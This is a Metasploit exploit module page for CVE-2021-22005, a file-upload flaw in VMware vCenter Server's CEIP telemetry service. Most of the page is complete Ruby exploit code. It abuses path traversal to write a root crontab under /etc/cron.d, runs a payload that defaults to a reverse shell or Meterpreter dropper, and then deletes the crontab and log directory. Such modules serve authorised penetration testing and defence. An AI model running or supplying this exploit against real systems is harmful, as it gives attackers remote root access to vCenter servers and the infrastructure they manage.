Authored by VMware, Derek Abdine, wvu, Sergey Gerasimov, George Noseevich | Site metasploit.com

This Metasploit module exploits a file upload in VMware vCenter Server’s analytics/telemetry (CEIP) service to write a system crontab and execute shell commands as the root user. Note that CEIP must be enabled for the target to be exploitable by this module. CEIP is enabled by default.

advisories | CVE-2021-22005

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',
'Description' => %q{
This module exploits a file upload in VMware vCenter Server's
analytics/telemetry (CEIP) service to write a system crontab and
execute shell commands as the root user.

Note that CEIP must be enabled for the target to be exploitable by
this module. CEIP is enabled by default.
},
'Author' => [
'George Noseevich', # Discovery
'Sergey Gerasimov', # Discovery
'VMware', # Initial PoC
'Derek Abdine', # Analysis
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-22005'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],
['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],
['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],
['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']
],
'DisclosureDate' => '2021-09-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 60
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
'vars_get' => {
'_c' => ''
}
)

return CheckCode::Unknown unless res

unless res.code == 200 && res.body == '"FULL"'
return CheckCode::Safe('CEIP is not fully enabled.')
end

CheckCode::Appears('CEIP is fully enabled.')
end

def exploit
print_status('Creating path traversal')

unless write_file(rand_text_alphanumeric(8..16))
fail_with(Failure::NotVulnerable, 'Failed to create path traversal')
end

print_good('Successfully created path traversal')

print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end

print_warning("Please wait up to #{wfs_delay} seconds for a session")
end

def execute_command(cmd, _opts = {})
print_status("Writing system crontab: #{crontab_path}")

crontab_file = crontab(cmd)
vprint_line(crontab_file)

unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)
fail_with(Failure::PayloadFailed, 'Failed to write system crontab')
end

print_good('Successfully wrote system crontab')
end

def write_file(path, data = nil)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),
'ctype' => 'application/json',
'vars_get' => {
'_c' => '',
'_i' => "/#{path}"
},
'data' => data
)

return false unless res&.code == 201

true
end

def crontab(cmd)
# https://man7.org/linux/man-pages/man5/crontab.5.html
<<~CRONTAB.strip
* * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/
* * * * * root #{cmd}
CRONTAB
end

def crontab_path
"/etc/cron.d/#{crontab_name}.json"
end

def crontab_name
@crontab_name ||= rand_text_alphanumeric(8..16)
end

end